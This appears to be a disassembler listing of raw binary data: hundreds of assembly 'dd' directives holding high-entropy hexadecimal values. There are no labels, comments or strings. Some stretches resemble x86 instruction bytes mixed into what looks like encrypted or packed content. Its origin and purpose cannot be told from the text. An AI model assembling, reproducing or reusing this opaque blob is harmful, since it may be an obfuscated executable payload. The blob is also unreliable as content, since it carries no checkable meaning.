		dd 0F03F6300h, 28B0D160h, 4BE0C2AEh, 892D6CFDh,	0C647163Ah
		dd 0B6D7D8FEh, 86C418ABh, 1495C8E7h, 25168EA6h,	0A357B322h
		dd 0FD200A8Ah, 0ED203F9Ch, 0A8AA371h, 11DB3Ah, 4572EA8Dh
		dd 0AA1950B3h, 75523315h, 0B6676900h, 88FDDA66h, 5AB2530Eh
		dd 365AF0D7h, 0CEE1FCAAh, 45C825AFh, 60F3D7F4h,	8DD4E0E8h
		dd 5CABDAF9h, 3960A074h, 0B2EF5E0Eh, 567DC159h,	0E17ADF1h
		dd 0B330B837h, 0F9493C8Fh, 0E4253455h, 0D4092685h, 549BCF7Ah
		dd 0DDFAC243h, 0CBE864F5h, 5863BBE4h, 0B0634806h, 0ACAA3229h
		dd 64193386h, 0CA225EE8h, 0D31B36F5h, 0A600000Ah, 0BAA03E18h
		dd 0A2882628h, 0BC9E3C0Eh, 0A385252Bh, 0ADA03E16h, 78DC6982h
		dd 6AE8785Ah, 77D1664Ch, 6CE07157h, 2B5A854Eh, 16B8E0AFh
		dd 0BD3D2178h, 0E4C3E06Ch, 9DB51571h, 0C31F4E10h, 8C109DB4h
		dd 0F4DB3A09h, 0DC6344Eh, 0B02FB94Bh, 0BA196D74h, 8F41024Bh
		dd 0A3ECD316h, 9FF36D9Dh, 355815DFh, 2A20B496h,	0B592B5A2h
		dd 8B71C640h, 0E668FA0Ah, 0AAAC3459h, 0AE943315h, 0A2FC7119h
		dd 6B0A8B71h, 53814B2Ah, 52005072h, 183A8203h, 45B485C3h
		dd 0A8B71C9h, 8B6252B0h, 196D740Ah, 4BBA9DBAh, 0A8B61CFh
		dd 1C6B7598h, 107C5851h, 3BCA9BFAh, 47841DBh, 0B463D832h
		dd 0CA123C8Eh, 9B674212h, 0D2032450h, 4783678h,	8D14DC41h
		dd 2Fh,	0E0DDC2B1h, 5B862824h, 2204DE86h, 38596675h, 295D84B0h
		dd 0DCBA5B8Ah, 577B168Eh, 9AFB4A0Ah, 53709552h,	646CDC6Fh
		dd 2FC805h, 0C2660000h,	0EA3D4EE0h, 4C9B3F5Eh, 0CD43504h
		dd 0EECDB9B0h, 8EBFD67Fh, 2B103716h, 9FFEDDBEh,	0F95BEACCh
		dd 0E91C3B98h, 0A8AB26Dh, 5E0DD736h, 0E06CBD04h, 23BDC96Dh
		dd 6E6B0286h, 996h, 0DFFF57E3h,	0C5E569F9h, 0D9F951E3h
		dd 0CAE868F7h, 0DBFB59E8h, 972647E8h, 0AD3B1DBDh, 902305A5h
		dd 0A5381AB8h, 153A07A7h, 0B8E366E0h, 48FA2F16h, 0EBC8BEA3h
		dd 0B53D99CCh, 8706109Dh, 0B4ED203Dh, 0F5168EA5h, 2C7DC190h
		dd 0D9F8320h, 88A5B33Dh, 18EEFC9Fh, 8AA369E5h, 0ECD3320Ah
		dd 67962C86h, 0A89D8EBh, 0A83051B4h, 0C2B27859h, 354D9A31h
		dd 36509995h, 2C20B199h, 7F46B7A4h, 0E0E92FA8h,	18AAACBDh
		dd 51989836h, 7A679635h, 23E31C88h, 0A42253E2h,	0FBD71871h
		dd 2D2FA8Fh, 0AA653B5Bh, 145h, 70E5C290h, 109DB516h, 0A36BEDFh
		dd 0D508A7DFh, 168EA5BCh, 8AC998FDh
		dd 963816A8h, 0DD3C0D47h, 0DC70C113h, 89DCFEh, 7091A0AEh
		dd 0D0B14011h, 9D31C37Eh, 0F33E455h, 5DBC8DBDh,	9EF04193h
		dd 3F6AF36Fh, 3859BCE3h, 2525B79Bh, 0BFA0BD9Bh,	3F6AD44Eh
		dd 70789DE3h, 0B081CB5Eh, 0C541B493h, 8EE33F6Ah, 4746C50Fh
		dd 910A7844h, 0A538EA5Fh, 92607A7h, 0F4307AD4h,	0FAC243BBh
		dd 76C785D8h, 79562E3Ah, 0F42FAA04h, 0C33BBh, 95BD0BB1h
		dd 0FCF1E22Eh, 0E8013D9Dh, 0CDCC419Eh, 9EC1E4E9h, 59ECEE7Fh
		dd 5CEDD3F3h, 63ECD3F0h, 6EEAAD44h, 71F0F8h, 0B5E1529Eh
		dd 15CD3EB0h, 9F4CC2C4h, 83D27ACBh, 42069D02h, 0E615B5D4h
		dd 0A0CA80Eh, 28251C03h, 0A18229EFh, 0BEC41B17h, 0A5A73A20h
		dd 5D996594h, 94FEC7C8h, 52FA4BF7h, 93FB4E74h, 4458E862h
		dd 4A6CB1BBh, 253455F7h, 7A4E207h, 9CAE0228h, 0C11D4CCDh
		dd 8ABB4458h, 3616A70Bh, 1DEE627h, 353C458Ch, 4867A6C1h
		dd 717BCD62h, 0F0654263h, 0B5313596h, 82D375CAh, 7D13403h
		dd 4ECCh, 79CBEF00h, 0A20180D1h, 3135D733h, 737DA0B5h
		dd 0C8BEA3E9h, 0AAE3CCEBh, 0D6ED66CDh, 0D1700FD9h, 22168F1Ch
		dd 0DE7052E3h, 7A6D5270h, 3388AA7Fh, 796FCB15h,	0E539AC0Bh
		dd 0E0A8B11h, 0A2B3992Ch, 890C5963h, 59B9052Ah,	5D78854Fh
		dd 0BD223C93h, 0C6C2E06Ch, 99CCEB9Bh, 168E9E34h, 72B880Dh
		dd 143694B4h, 7CB889BFh, 53822165h, 107B852Ah, 1C3B0A8Bh
		dd 57E5A236h, 4ACB9AFBh, 60830382h, 0DEC40477h,	7DB9034Dh
		dd 9A852264h, 0D28F3DCh, 63F1D575h, 0B53F5EEFh,	76835A8h
		dd 0C6110A68h, 5B7FC599h, 2E1CB02Bh, 0FE9FFE1Fh, 0A9C01E6Fh
		dd 6CFCFE64h, 0ABBA9223h, 183A0B6Ah, 0DC76C6C7h, 0DC6D0C8Dh
		dd 361F9C36h, 388AB0AFh, 0B5034716h, 2C4DCC9Dh,	26D16AA4h
		dd 2A8ADA01h, 2E8D7139h, 646163BFh, 0DFE92CFEh,	8746B977h
		dd 2C214Eh, 0A3350000h,	7AEBC8BEh, 168EA2DBh, 0D04ABB9Ch
		dd 990A8A9Dh, 9EFF6C74h, 17AA90CFh, 0B6272435h,	0A8A9E5Ch
		dd 3781E025h, 351Ch, 0BEA3C200h, 928E7602h, 14754051h
		dd 0DCAF98B7h, 0D8A03026h, 0B65FAE36h, 17168F77h, 476867F6h
		dd 8B60BC16h, 0F361F00Ah, 0F1142362h, 6127A3D2h, 0ADF00A8Bh
		dd 6CBDB923h, 0BDD36DE0h, 31F88623h, 65D14h, 88CE1C00h
		dd 98B6082Ah, 86C4183Ah, 9FB10228h, 88CC193Fh, 0D734FB2Ah
		dd 0C6ECCA8Ah, 0DCFEDC76h, 0BFE1C187h, 0F300DE6Eh, 0E61D79ECh
		dd 0B3E616B8h, 0F4DDC28Fh, 0B50C1C24h, 0BA1C32BAh, 21BEC821h
		dd 82C81C3Eh, 0FB8A52B3h, 168ECD7Ah, 85AD0A8Bh,	0CC4D1C38h
		dd 0BB4E59E7h, 0AA32D7A0h, 782A64E9h, 0BFE3CCC8h, 57B32270h
		dd 204843E4h, 0A73A9CFDh, 6B7594A5h, 4F6C1A4Fh,	34D52B1Eh
		dd 50E1244Eh, 0A5215473h, 6E4230D1h, 5099A52Fh,	47B69936h
		dd 4230D1CBh, 6A677194h, 21AB46FBh, 815EBF48h, 67ED7C5Eh
		dd 915BF343h, 4E9BEE3Fh, 0B7D63706h, 0C0143617h, 0BD10428Ah
		dd 0A034DA8Fh, 0A645B1A3h, 599ABh, 452E000h, 1C3284A6h
		dd 2489CBEh, 232D7EA4h,	44109D83h, 93F83766h, 8AB00E46h
		dd 98BA183Ah, 83A50543h, 0AFBC1A32h, 0E6E13DB0h, 77AA16B8h
		dd 0E06CBDCBh, 23BDA76Dh, 845E486h, 55Ah, 0E3C3931Fh, 0C1E16DBDh
		dd 0DDFD4DDFh, 0C6E46CFBh, 0DFFF55E4h, 9B2A43ECh, 0A93719B9h
		dd 942709A9h, 0A13416B4h, 213E0BABh, 0B8E772ECh, 7CE63B16h
		dd 0B3226CBDh, 109DB557h, 0CD9CFD20h, 0F9497A6Fh, 66973455h
		dd 1686929Eh, 0E4248203h, 0BB2A89FDh, 10737D96h, 6E9FAEEFh
		dd 46F76F0h, 0E2ECB47h,	5090244Eh, 0AAF6h, 0DEB94C00h
		dd 0FDDAACB5h, 8EA5E988h, 789BFA16h, 87958FD5h,	22647DD9h
		dd 86D95085h, 654A4174h, 0E4288BF0h, 0B89827DAh, 33520FD9h
		dd 0C842B394h, 91356FB6h, 2625C40Ch, 529AB004h,	2C8BFBE6h
		dd 5DCB8AB9h, 3996F73Bh, 0BE8FC311h, 6748955Fh,	0A5BF343h
		dd 0BE0F418Bh, 0B909318Eh, 7B45C495h, 9FEA7B5Dh, 90F14010h
		dd 43C27CF1h, 3CEBA4DFh, 47D21h, 0E86EFC00h, 0F856E8CAh
		dd 0E664F8DAh, 0FF51E2C8h, 0E86CF9DFh, 3754DBCAh, 260CAAAAh
		dd 3C1EBC96h, 1F01A1A7h, 5320BE8Eh, 0E87DD90Ch,	0D34616B8h
		dd 94C46Fh, 0A36A0000h,	7AEBC8BEh, 168692C2h, 0C1E9C647h
		dd 85C91970h, 0A0EB8FB4h, 0A4DE361Dh, 2406A4C5h, 8EAABB91h
		dd 73E17053h, 0E5C2A3E2h, 7353DD70h, 15A48610h,	0E5EF2E3Fh
		dd 5BED4288h, 5BEA8B0Ah, 0B02A5B7Ch, 79046F52h,	7970CC14h
		dd 0A991AE0Dh, 5BAA3216h, 0A60460Eh, 692356B7h,	7E73E248h
		dd 3E4F2EFh, 49950000h,	3B8BAD0Dh, 3B8DB313h, 3A89AF0Fh
		dd 4392B816h, 0AD82B111h, 4363F140h, 2383CF5Dh,	409EAAFDh
		dd 2585C71Ah, 48C2331Ch, 1116B8E8h, 1670A698h, 0FD109DB5h
		dd 109DB49Dh, 0FFDCAABFh, 8692C68Eh, 5BEA2B16h,	0F366E677h
		dd 80089603h, 8FA8A544h, 0EA000003h, 0F6DCFA5Ch, 0E6CCEA64h
		dd 0F8DAF852h, 0E7C9E967h, 0E9DCFA5Ah, 0BC982546h, 0A6AC3C1Eh
		dd 0BB8D2208h, 0A8A4351Bh, 0EF1E410Ah, 16B8E973h, 0C279E53Ch
		dd 2A22E2DDh, 0B61D2DA9h, 60F70611h, 70626ABDh,	0E23CB1DDh
		dd 0AB109E43h, 0FE3A0B6Ah, 0FE4CE0E3h, 70C187DCh, 22537011h
		dd 168F3D5Bh, 0A7959BCh, 58188804h, 60950150h, 0BBD480E6h
		dd 0AF0F6EAFh, 49183C89h, 318EF4EBh, 8183DF0Eh,	0B4CBBD4h
		dd 0D48180DAh, 0A5C449BBh, 171E01FEh, 0C00837BEh, 6CBD3892h
		dd 0DC6D51E0h, 0B565270h, 482927B8h, 0A2BFFA6Bh, 248168Eh
		dd 0DEFD9CAEh, 4D27CFF9h, 1048D5C0h, 529FF0C3h,	0DF8E5637h
		dd 89BF30AEh, 6F58870Ah, 3371139Fh, 0A800A724h,	22EC580Dh
		dd 2BA0EAF2h, 0ADD83301h, 399B5Ah, 0A3BF0000h, 96B205BEh
		dd 882746C7h, 8E987455h, 71C04516h, 8A878200h, 0E56FBE0Ah
		dd 6CDE7254h, 1E9B35DDh, 878A0479h, 32530A8Ah, 8B008A53h
		dd 0AD399361h, 0F43B5Ah, 0BD1F0000h, 7251E06Ch,	0CD04474Dh
		dd 4D97B64Bh, 0C796BE0Bh, 3C0EA288h, 0F2E4EC2Dh, 0AA5A275Fh
		dd 5C1D82BEh, 2ABC9E3Dh, 0B3AD5D5Eh, 0F5943032h, 4C9B2564h
		dd 3595B70Ah, 0A49A2F18h, 0A28D286Eh, 3548EB1Ah, 75C8109Eh
		dd 80D1F7D7h, 2A3F7DCCh, 34F36F9Eh, 59BC109Eh, 93B49B38h
		dd 0E03E6D1Dh, 8DFC41C6h, 939D4726h, 0C2B0C49h,	9E797DD9h
		dd 0FDC74610h, 8F4A238Eh, 6949CC16h, 7552342Dh,	75B06600h
		dd 912E6F10h, 25C91AEh,	0CB04759Eh, 150824Ah, 0C8B0408Dh
		dd 0F6E4E68h, 183C89AFh, 0FB4B7765h, 0C805A479h, 1CEh
		dd 97371FABh, 8D2D21B1h, 913119ABh, 923020AFh, 933321B0h
		dd 0CF5E8FA0h, 0B5032585h, 0C81B3D9Dh, 0AD002280h, 2D323F9Fh
		dd 0B8EA5EB8h, 50F22716h, 0C6E470BDh, 0DCFB51E4h, 1A2161F6h
		dd 4100EAFBh, 0A0A2B3D2h, 9721400Eh, 0BEA31FB9h, 0C796B205h
		dd 9D496B80h, 83E26BF4h, 0DEBF8F1Fh, 8C01DE01h,	109EA612h
		dd 0D332BADBh, 168F89F2h, 82F342C3h, 0A8B7A04h,	729A2F5Bh
		dd 5AAC2FA2h, 960Ah, 0DDC23000h, 2ED1844Bh, 3A1CA4C9h
		dd 2106A5A7h, 0CD10AE00h, 2CBB05BDh, 0A8B99B2Ah, 9E4FD659h
		dd 49035610h, 59F7486Ah, 0CE5F418Fh, 98D1EF7Eh,	519CD1EEh
		dd 0FA168F20h, 0E6FB3B9Bh, 0F7D203A0h, 0C010757Bh, 0D5C7E5Dh
		dd 0F4416747h, 8019ED60h, 7B3279FBh, 0F55Eh, 20368400h
		dd 400EA082h, 5EEC4062h, 47095A80h, 60F44167h, 0AFDC5342h
		dd 0AE943222h
		dd 0B496341Eh, 0A789291Fh, 0CB983616h, 0EAF55184h, 6BBE16B8h
		dd 0E470BDF7h, 73C1E9C6h, 72C315DFh, 0BD5EFCDAh, 0C08C1D6Ch
		dd 1EAE1071h, 0C2045534h, 0C1FDDD6Fh, 71ED20A8h, 3A109DB5h
		dd 0D89FCDBh, 0D6109DB5h, 0D1F9D6B7h, 0D805CF83h, 8692C7A5h
		dd 20315416h, 0ACFE8B1Eh, 41B493A2h, 0A828EC5h,	0F6E0F8Eh
		dd 143889AFh, 93240645h, 26A7ACBDh, 5E71EAF3h, 4DBC0465h
		dd 559C829h, 0AB39213Eh, 56F31DA7h, 943319ACh, 3721AAEh
		dd 0EE99B487h, 9DACCD50h, 4466747Ch, 0CD0A5BF1h, 872289E2h
		dd 0AC1683Fh, 83DBC04Fh, 478953FDh, 0D30958F8h,	0DF722099h
		dd 0DA6B4D6Dh, 43C541B4h, 0F8EEE99h, 1C66516Eh,	171004Dh
		dd 0C3005F69h, 300151DFh, 3CC07D1h, 72000000h, 71BDE17Bh
		dd 0DF7254E5h, 65FADC6Dh, 0E07052E3h, 52DFE372h, 0C20F3302h
		dd 307FC392h, 9B2D1120h, 2ABC9EAFh, 52221524h, 0C281E289h
		dd 4, 4EA81h, 14870000h, 14895C24h, 73F56824h, 0C890000h
		dd 4EC8324h, 68243C89h,	61B275Fh, 81240C8Bh, 4C4h, 26E46800h
		dd 24890000h, 24048124h, 4, 0CA89525Fh,	8B085789h, 0C4812414h
		dd 4, 5F2434FFh, 4C481h, 34FF0000h, 0C4815924h,	4, 0F84917E9h
		dd 359522FFh, 4D8916A9h, 1B37E1B8h, 0FFC50306h,	0F31624E0h
		dd 98B89D0Ah, 0BD6A9A10h, 0D7559219h, 44C36C37h, 0AAAA5775h
		dd 30914F5Eh, 2873B572h, 0E4152D67h, 7616B62Ah,	5A6CF762h
		dd 35952B55h, 6DF9230Dh, 8232F039h, 7F030A4Bh, 0C7697E34h
		dd 0B65FAC63h, 0B5972A6Dh, 0C4710629h, 0BB93209h, 0A20A8512h
		dd 0BCC76F7Bh, 9F220416h, 0FF8F4A3Eh, 0B925F206h, 5598572Fh
		dd 0CE9B4529h, 9341A97Ah, 0AA12860Dh, 0E2E254Fh, 14E97Ah
		dd 70AE0000h, 1D32h, 3 dup(0)
		dd 2E90000h, 0AE000005h, 0B2983620h, 0AA902E20h, 0B4963416h
		dd 0AB8D2D23h, 0A598361Eh, 80D4618Ah, 0A2B00022h, 0BF891E04h
		dd 0A4A8391Fh, 0E3123D06h, 16B8ED67h, 0C245F930h, 12434FE0h
		dd 109DB4B8h, 737D1C81h, 0ED7CD061h, 0DAF85CE9h, 587D5FDh
		dd 96CB6F35h, 18294874h, 4CDDEFF9h, 0BC0D3100h,	2D7DC190h
		dd 9C2E1021h, 5CED5DEFh, 0C90D5C3Dh, 3D82D377h,	0E6FF2A19h
		dd 0D3BFE069h, 76FC4F36h, 0B86D5205h, 30CE6045h, 9DFF9F04h
		dd 0D384FF11h, 0D676C709h, 0DD85CEF9h, 6DF7A37Bh, 0E3C8851Ah
		dd 9D2772A7h, 24699BFh,	1F297EA4h, 96BC0C4Eh, 92500E39h
		dd 89D878C7h, 553A308h,	27BAE1ADh, 465897Dh, 0B5372DBCh
		dd 51398E44h, 9E07C21Ch, 6B0A8B10h, 78D4654Bh, 83998E9h
		dd 18B2109Eh, 79CEF4A3h, 9F5D05CFh, 47A341B9h, 76h, 1D6CBD1Bh
		dd 0CA1BBF8Bh, 3352B382h, 0B575D322h, 1CAD109Dh, 0F77D096Ah
		dd 84E5A1FDh, 0D4191B5h, 1A45173Ch, 7D8E55C7h, 0D2C3385Ah
		dd 2C9D2Dh, 0A341F830h,	198h, 0E0C2BE00h, 0D3320351h, 0D777C709h
		dd 5CF24486h, 59ECCE0Dh, 58E7E9F3h, 0C9F669F8h,	0B51B77E6h
		dd 0A1E4109Dh, 0A65CED17h, 0BB9C3A14h, 0BC044497h, 0A605479Ah
		dd 0E42FE81h, 0F0F8E5DEh, 70BD48E2h, 0E17155E4h, 9C36DC6Dh
		dd 6EE6731Fh, 75D76A50h, 0FC4EE2E4h, 7857846Dh,	9DB48905h
		dd 0A9335210h, 0E2C2EA5Fh, 4AA341E8h, 63h, 0E470BDF0h
		dd 6BDF7155h, 7DD7664Ch, 0C423ADECh, 0B86ADF13h, 0AA8B2B29h
		dd 49183688h, 7FCE00C8h, 604784D5h, 0EA787D88h,	0E6E8F012h
		dd 836AFB55h, 9A4A7207h, 42A341A6h, 47h, 0E470BD18h, 6ADE7155h
		dd 9FFB6A4Dh, 68109DB4h, 0B4C9B25h, 0A8CDEBD4h,	0FEA5A73Ah
		dd 757FE263h, 65F49E1Bh, 0BD71CFEFh, 7350E16Dh,	5EDBB64Ch
		dd 0FAC26D08h, 9E190A8Bh, 72078310h, 418E8A4Ah,	132A3h
		dd 0BD080000h, 0D700DF6Bh, 0B288EB84h, 11D01868h, 0A1B09C2Dh
		dd 1AC841ABh, 92684C6h,	0DD5BB726h, 0E124109Dh,	86DBD7h
		dd 32A384A3h, 109DDCD8h, 48577CA1h, 0C36FCC9Fh,	27F6955Fh
		dd 0D8168F4Eh, 113916B5h, 80DA8BBFh, 490A8B4Ch,	0C5F44FFEh
		dd 0FF9EE740h, 15476F5h, 674B6C4Bh, 0A9E879D9h,	8AEB5EB8h
		dd 0DEE6270Ah, 0C587DA00h, 0EA870574h, 0D2C00A8Ah, 51388939h
		dd 9DFC4D01h, 69FCDEFCh, 0DD7052E3h, 0EAE23CB1h, 0ACAB0A8Ah
		dd 8AEADD39h, 667A60Ah,	0A230D667h, 64E87929h, 0DC2EEE46h
		dd 26965AACh, 0AC000001h, 0EBC8BEA3h, 8EBC377Ah, 0C71A4016h
		dd 8B55B485h, 0B1AEBFDEh, 45143889h, 87DAFCC4h,	70C4E6C5h
		dd 0DEC412DAh, 80A2014Bh, 0AD01592Dh, 0CD9415FFh, 81C524ACh
		dd 480C5930h, 17A88A29h, 0DFE92839h, 7B107A80h,	0F8D676C7h
		dd 0AD139C5Ch, 53445Ah,	0A31A0000h, 0C1E9C6BCh,	0B8ADB6Fh
		dd 0C56194C1h, 0CE6F624Bh, 615CA389h, 9B3815A2h, 9DBFF06Ah
		dd 3554B990h, 62002724h, 7C76B2F9h, 900A7B58h, 59909E94h
		dd 15DAC34h, 3909E95h, 3F28F089h, 11202E80h, 0C33291F0h
		dd 0EF632C27h, 0F2CDED30h, 81h,	0C8BEA350h, 7AEBCCEBh
		dd 109DB520h, 0ED1CA4E9h, 168EA1E0h, 0D1F544C9h, 0CCEECC80h
		dd 0F382D379h, 0A8AA090h, 7FCE7CD0h, 0F4450D5Bh, 281DAEE0h
		dd 476F5887h, 2BFCB987h, 8C243E1Ch, 0C5241D27h,	4AF891FBh
		dd 397555F7h, 9419330h,	1BB8D938h, 730644EAh, 11206510h
		dd 0A1B09C2Dh, 1FC841ABh, 0ECBD2738h, 2465F45Ah, 58837E7Fh
		dd 493D2490h, 5BF9486Ah, 14418B0Ah, 57D639E1h, 9B3B5A0Ah
		dd 70E5C23Dh, 109DB516h, 0CC1CBEDFh, 8E56B786h,	704F3732h
		dd 0A1FD704Fh, 6A109DB4h, 0BC62A12Bh, 0DD16868Ch, 14A5A9B8h
		dd 92BD9A38h, 7EF59017h, 42945C80h, 7D0C5DEFh, 5990AE3h
		dd 0A55DEE24h, 0B89A3814h, 34162725h, 0F85AEAA3h, 0F8492869h
		dd 6111AAE4h, 815E7CD0h, 75B32F5Eh, 197CEF58h, 9D2723B5h
		dd 13222ABBh, 0A36h, 0E0C29C00h, 0D3320351h, 0BDDB8509h
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 0BC68240Ch, 89000049h
		dd 2B68243Ch, 89000013h, 0BD552434h, 61B38F1h, 2C8BEF89h
		dd 4C48124h, 83000000h,	248904ECh, 24048324h, 81575E04h
		dd 7C94242Ch, 468F2156h, 8468108h, 21567C94h, 5624348Bh
		dd 0C681E689h, 4, 4C681h, 34870000h, 3C8B5C24h,	0E3895324h
		dd 4C381h, 0C3810000h, 4, 5C241C87h, 0F84377E9h, 0DD1C1EFFh
		dd 0DD0846FBh, 3D66B84Fh, 0C503061Bh, 4344E0FFh, 0EB6E4E2Ah
		dd 0BF7C656Eh, 5280AB4h, 5EEF4C26h, 0B81E2D36h,	875428CDh
		dd 1DA87ADBh, 0D8E96519h, 104457AFh, 32B76A4Eh,	8E703DBDh
		dd 65EC3628h, 82FF67B5h, 8A5C20BCh, 0B974290Ah,	40557463h
		dd 0F7EF48CAh, 0E3451C8Eh, 19F10CAEh, 0A6CA7D3Fh, 3C6B6AB4h
		dd 27BD18EAh, 247466C0h, 0A1B40199h, 90456D0Ch,	0E84A5Fh
		dd 22E97B48h, 0C7000000h, 3E947Dh, 7 dup(0)
		dd 566E900h, 5510000h, 0FF4F7151h, 0F7496F4Fh, 0FE4D7353h
		dd 0FF4E7452h, 0E9467555h, 0BF1F3584h, 0A7074B99h, 0BC1A2E81h
		dd 0A9094396h, 0D44EBFA0h, 9D16B8F2h, 6CBDDA84h, 0E06D51E0h
		dd 0E1745674h, 0B4DE38ADh, 66A7109Dh, 0B4BA1449h, 283109Dh
		dd 5DF0D263h, 0EA7C5EEFh, 0F5684764h, 109DB499h, 0D5DB47CAh
		dd 94A37627h, 51FD4D71h, 0A8378100h, 993EBB37h,	2222EEAEh
		dd 7E46E184h, 6443095Ch, 0E5FE93Eh, 3117458Fh, 260CAA9Eh
		dd 0A9A6B791h, 0E5182F7Eh, 0F2E26E2Ah, 0B9EFD4FAh, 85C71185h
		dd 164A1B37h, 20B35FDCh, 15A88A28h, 1AB7EA71h, 5DEC191Bh
		dd 462766F7h, 66E71627h, 0DF109EADh, 0E6B6D673h, 4EA34112h
		dd 84h,	1D6CBDF4h, 6EAFBE8Ah, 9F5E6149h, 0BCDDAC05h, 3A8CAEADh
		dd 2C4D0151h, 95F4FC1Dh, 109E5A37h, 0FAAD1EACh,	5A2EA8DDh
		dd 96F7109Eh, 9FAEA434h, 2EEE767Eh, 96A3414Fh, 1, 0E16DBDACh
		dd 72DC6E50h, 6FDB6D55h, 73C40665h, 97DB8CDDh, 70DE7022h
		dd 0FA4D7552h, 569EFF4Eh, 3C9BB104h, 0B570EA1Bh, 34A9109Dh
		dd 109DB4DAh, 0EAD562A3h, 0A17414A8h, 982041A5h, 28B59DBAh
		dd 0AC391D2Ch, 55FFC9A8h, 3D4EE0C2h, 2E3F5EEAh,	0B562BC31h
		dd 0EA2B109Dh, 7260248Bh, 75986DB8h, 0B5DC696Bh, 0FB1A2B27h
		dd 0A68CCB9Ah, 65E77A17h, 0F7D4B5D4h, 9E3D0C86h, 28B0D510h
		dd 1DBA9426h, 97A6A235h, 17FF6E76h, 70570079h, 0B6070614h
		dd 0BEC13196h, 3C89CB15h, 4598BA18h, 4B9CF544h,	0B4D53405h
		dd 0EE4284D5h, 0F7E40D5Ch, 2CA82D3h, 1BC9F388h,	0C3A3413Ah
		dd 85h,	2170BD97h, 0FEDDBC90h, 70C187DCh, 554FE4Eh, 6EC1E584h
		dd 0C20A8BDAh, 0BD8D1F23h, 42B73BACh, 0B3134190h, 451408Dh
		dd 1E203150h, 76D0058Dh, 0AF109DB5h, 9DB4E43Eh,	0DB68AD10h
		dd 6101A7F4h, 0F8991845h, 65A1C899h, 83FC23D4h,	9FF38DB8h
		dd 9F4D15DFh, 47A34105h, 4Eh, 0E470BD1Bh, 0FC54E3C7h, 45A42C6Dh
		dd 0CB9AAE01h, 0E4735788h, 912A646Ch, 0D53A54E1h, 0A9C3439Ch
		dd 5D456203h, 1A3880CCh, 51E0C2C0h, 9D33203h, 86D777C7h
		dd 9DB496F7h, 0EAD00F10h, 2968F95Bh, 0A8D4659Fh, 0A341EAE8h
		dd 150h, 6BBDE600h, 0AEDF00DFh,	109DB534h, 0CA86D5FDh
		dd 80C221ABh, 1742592Dh, 8ADE48C2h, 0C865AEBh, 0D971C36Fh
		dd 0E2A4BDF9h, 0F0C190C5h, 1372168Eh, 9FAD0042h, 0C6C8193Fh
		dd 8AEF3B97h, 71E16F0Ah, 0AD92A1E0h, 96F06328h,	4C2D4CD4h
		dd 81108CFDh, 49490A8Bh, 9DAF02B0h, 82CA1B3Dh, 42B394B3h
		dd 0A8B80C8h, 92C40C91h, 8CAE0D3Fh, 1FCE163Ch, 0B260D977h
		dd 358D2D1Fh, 5AAC2667h, 124CFh, 0BEA37300h, 377AEBC8h
		dd 0D0168EBCh, 79183A8Ah, 0F953E6E8h, 85D6FCD9h, 0BC1B7ACBh
		dd 8AA5CD49h, 6D77960Ah, 0E372DA6Bh, 6FFE4EDFh,	0E29029A7h
		dd 85DDFD4Fh, 5AAD1BB7h, 6B1Fh,	0E5C24300h, 9DB51670h
		dd 36BEDF10h, 6A5DD0Ah,	2E0FDE21h, 58600C66h, 8F700A7Bh
		dd 56796F62h, 9DF8AB27h, 4B4B7490h, 1144B5E6h, 0B382E382h
		dd 9EB0C842h, 2D15CA90h, 0E02AB29Eh, 7A429D6Bh,	0F9ACD060h
		dd 0BCAE236Bh, 916A3D6Ah, 103291F0h, 16438DBBh,	62F34BE7h
		dd 4DDEC4EFh, 0E92CB903h, 0F755E8CAh, 7ED0EFEDh, 6E000000h
		dd 0EBC8BEA3h, 8EA18F7Ah, 44157816h, 3D9DAF02h,	0B382CA1Bh
		dd 8AA0C142h, 0FB90020Ah, 7956F647h, 0FB4AFE51h, 404529Ah
		dd 0A145E3DDh, 0F7DCDFBFh, 0C3113996h, 0E518458Fh, 10733BD0h
		dd 8BBF1139h, 32A3A441h, 46F26D8h, 7C0009h, 2E3D08A5h
		dd 0A0BF8EEFh, 25FDE3B7h, 154891C8h, 46F7FB9h, 40620382h
		dd 0B1D061EFh, 0B8942527h, 0C039B3A9h, 3695F1F8h, 5856B2C7h
		dd 4C6AAB0Ah, 2BEA3EEh,	0C011B2F2h, 775CBD8Ch, 42692E61h
		dd 6AEF7B11h, 0A605642Ah, 0B71B3184h, 0F4152424h, 8B7EEFECh
		dd 0F416877Dh, 0E6177FCEh, 0A83696Ch, 27B1D035h, 0C80A5BBAh
		dd 0D6F7D775h, 5DEC62F4h, 0FA2B43Ch, 0D667E97Ah, 4887D6B7h
		dd 0EA7BCD62h, 2CE221ABh, 6921F842h, 0E4715976h, 2F850170h
		dd 0CF4ED1F4h, 44EE8B05h, 454998F1h, 609FE869h,	0B41B7A6Fh
		dd 0B2EFE215h, 6E4D2CE5h, 6BB6AD49h, 0BD0727D7h, 2428B99Fh
		dd 0AEA23115h, 0B247C99Fh, 3F9FAD00h, 97C6C819h, 0D1F42E3Bh
		dd 51E08104h, 0A74h, 0E0C2DA00h, 0D031004Eh, 0BDDA8408h
		dd 7254E571h, 0FADC6DDFh, 7052E365h, 0DFE372E0h, 0F330252h
		dd 7FC392C2h, 2D112030h, 0BC9EAF9Bh, 2215242Ah,	81E78957h
		dd 4C7h, 4EF8100h, 87000000h, 895C243Ch, 9668242Ch, 89000073h
		dd 8952241Ch, 4C281E2h,	83000000h, 148704EAh, 2C895C24h
		dd 3E946824h, 1C8B061Bh, 4C48324h, 4EC81h, 24890000h, 24048324h
		dd 27685D04h, 89000010h, 458F241Ch, 2434FF08h, 4C4815Dh
		dd 8B000000h, 8957241Ch, 4C781E7h, 81000000h, 4C7h, 243C8700h
		dd 3D76E95Ch, 0E6F0FFF8h, 6A7D421h, 0F9C25AD5h,	4508DE84h
		dd 1B4372B8h, 0FFC50306h, 74092CE0h, 0B3241915h, 9CC3276Ah
		dd 0D68D8D1Ch, 0E8061B44h, 7, 126980C4h, 667E636Ah, 895EFB8Bh
		dd 131BBD8Dh, 919D0306h, 0C706130Eh, 1318DD85h,	6AE806h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 5F6275E5h, 9589F6F0h, 61301D1h, 0FE8B5360h
		dd 0FE95Bh, 200C0000h, 1FDCA64Ah, 0E58F1852h, 0C6FB5D5Fh
		dd 85C7613Fh, 6133055h,	0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 84C35747h
